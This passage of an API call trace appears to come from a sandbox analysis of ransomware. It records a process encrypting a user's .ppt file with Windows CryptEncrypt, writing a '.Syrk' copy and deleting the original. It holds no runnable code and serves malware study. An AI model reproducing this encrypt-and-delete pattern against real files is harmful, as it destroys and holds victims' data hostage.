"c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 0x20 [0214.599] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 0x20 [0214.600] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0214.600] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0214.600] EtwEventActivityIdControl () returned 0x0 [0214.600] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.601] EtwEventActivityIdControl () returned 0x0 [0214.601] EtwEventActivityIdControl () returned 0x0 [0214.601] EtwEventActivityIdControl () returned 0x0 [0214.602] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0214.602] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0214.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0214.602] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0214.603] GetFileType (hFile=0x42c) returned 0x1 [0214.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0214.603] GetFileType (hFile=0x42c) returned 0x1 [0214.603] EtwEventActivityIdControl () returned 0x0 [0214.603] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.603] EtwEventActivityIdControl () returned 0x0 [0214.603] EtwEventActivityIdControl () returned 0x0 [0214.603] EtwEventActivityIdControl () returned 0x0 [0214.605] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0214.605] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk", lpFilePart=0x0) returned 0x5b [0214.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0214.605] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0214.606] GetFileType (hFile=0x44c) returned 0x1 [0214.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0214.606] GetFileType (hFile=0x44c) returned 0x1 [0214.606] EtwEventActivityIdControl () returned 0x0 [0214.607] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x2487110 | out: pbBuffer=0x2487110) returned 1 [0214.610] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0214.611] CryptDuplicateKey (in: hKey=0x5c68e40, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c68d00) returned 1 [0214.611] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0214.611] CryptSetKeyParam (hKey=0x5c68d00, dwParam=0x4, pbData=0x2488448*=0x1, dwFlags=0x0) returned 1 [0214.611] CryptSetKeyParam (hKey=0x5c68d00, dwParam=0x1, pbData=0x2488414, dwFlags=0x0) returned 1 [0214.611] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.611] EtwEventActivityIdControl () returned 0x0 [0214.611] EtwEventActivityIdControl () returned 0x0 [0214.611] EtwEventActivityIdControl () returned 0x0 [0214.613] EtwEventActivityIdControl () returned 0x0 [0214.613] ReadFile (in: hFile=0x42c, lpBuffer=0x248b084, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x248b084*, lpNumberOfBytesRead=0x5a2e6fc*=0x227b, lpOverlapped=0x0) returned 1 [0214.615] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x249f09c*, pdwDataLen=0x5a2e6f0*=0x2270, dwBufLen=0x2270 | out: pbData=0x249f09c*, pdwDataLen=0x5a2e6f0*=0x2270) returned 1 [0214.615] WriteFile (in: hFile=0x44c, lpBuffer=0x24871f8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x24871f8*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0214.617] WriteFile (in: hFile=0x44c, lpBuffer=0x24a0088*, nNumberOfBytesToWrite=0x1284, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x24a0088*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1284, lpOverlapped=0x0) returned 1 [0214.618] ReadFile (in: hFile=0x42c, lpBuffer=0x248b084, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x248b084*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0214.618] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24a1318*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x24a1318*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0214.618] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24a1334*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x24a1334*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0214.618] WriteFile (in: hFile=0x44c, lpBuffer=0x24871f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x24871f8*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0214.618] CloseHandle (hObject=0x44c) returned 1 [0214.620] CloseHandle (hObject=0x42c) returned 1 [0214.621] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.621] EtwEventActivityIdControl () returned 0x0 [0214.621] EtwEventActivityIdControl () returned 0x0 [0214.621] EtwEventActivityIdControl () returned 0x0 [0214.631] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 0x20 [0214.633] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0214.633] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0214.634] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0214.634] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0214.634] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0214.634] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0214.634] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0214.634] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0214.635] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0214.635] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0214.635] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0214.635] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0214.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0214.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0214.635] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0214.635] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0214.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0214.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0214.636] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0214.636] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0214.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0214.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0214.636] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0214.636] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0214.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0214.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0214.637] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh")) returned 0x10 [0214.637] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh")) returned 0x10 [0214.637] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0214.637] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", lpFilePart=0x0) returned 0x45 [0214.637] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 0x20 [0214.637] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0214.637] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0214.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0214.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0214.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0214.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0214.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0214.716] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0214.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0214.716] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0214.716] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0214.716] CoTaskMemFree (pv=0x5c7e518) [0214.718] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 0x20 [0214.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0214.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt", lpFilePart=0x0) returned 0x56 [0214.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0214.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt"), fInfoLevelId=0x0, lpFileInformation=0x24b331c | out: lpFileInformation=0x24b331c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe99380, ftCreationTime.dwHighDateTime=0x1d9990a, ftLastAccessTime.dwLowDateTime=0xbe7b13b0, ftLastAccessTime.dwHighDateTime=0x1d99c3f, ftLastWriteTime.dwLowDateTime=0xbe7b13b0, ftLastWriteTime.dwHighDateTime=0x1d99c3f, nFileSizeHigh=0x0, nFileSizeLow=0x227b)) returned 1 [0214.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0214.719] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt")) returned 1 [0214.723] EtwEventActivityIdControl () returned 0x0 [0214.723] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.724] EtwEventActivityIdControl () returned 0x0 [0214.724] EtwEventActivityIdControl () returned 0x0 [0214.724] EtwEventActivityIdControl () returned 0x0 [0214.735] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt.syrk")) returned 0x20 [0214.737] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt.syrk")) returned 0x20 [0214.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0214.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk", lpFilePart=0x0) returned 0x5b [0214.737] EtwEventActivityIdControl () returned 0x0 [0214.738] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.738] EtwEventActivityIdControl () returned 0x0 [0214.738] EtwEventActivityIdControl () returned 0x0 [0214.738] EtwEventActivityIdControl () returned 0x0 [0214.743] EtwEventActivityIdControl () returned 0x0 [0214.743] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.743] EtwEventActivityIdControl () returned 0x0 [0214.743] EtwEventActivityIdControl () returned 0x0 [0214.743] EtwEventActivityIdControl () returned 0x0 [0214.748] EtwEventActivityIdControl () returned 0x0 [0214.748] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.749] EtwEventActivityIdControl () returned 0x0 [0214.749] EtwEventActivityIdControl () returned 0x0 [0214.749] EtwEventActivityIdControl () returned 0x0 [0214.799] EtwEventActivityIdControl () returned 0x0 [0214.799] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.800] EtwEventActivityIdControl () returned 0x0 [0214.800] EtwEventActivityIdControl () returned 0x0 [0214.800] EtwEventActivityIdControl () returned 0x0 [0214.805] EtwEventActivityIdControl () returned 0x0 [0214.806] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0214.806] EtwEventActivityIdControl () returned 0x0 [0214.806] EtwEventActivityIdControl () returned 0x0 [0214.806] EtwEventActivityIdControl () returned 0x0 [0214.811] EtwEventActivityIdControl () returned 0x0 [0214.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0214.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh\\nFwTJIIoNnNX.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh\\nfwtjiionnnx.ppt.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24c29dc | out: lpFileInformation=0x24c29dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2c28e0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xfc2c28e0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xfc2e4bc0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2294)) returned 1 [0214.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0214.818] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4c0 | out: lpConsoleScreenBufferInfo=0x5a2e4c0) returned 1 [0214.818] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b8 | out: lpMode=0x5a2e4b8) returned 1 [0214.819] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4ac, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4ac*=0x2) returned 1 [0214.820] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e464 | out: lpConsoleScreenBufferInfo=0x5a2e464) returned 1 [0214.820] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4b8 | out: lpConsoleScreenBufferInfo=0x5a2e4b8) returned 1 [0214.821] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b0 | out: 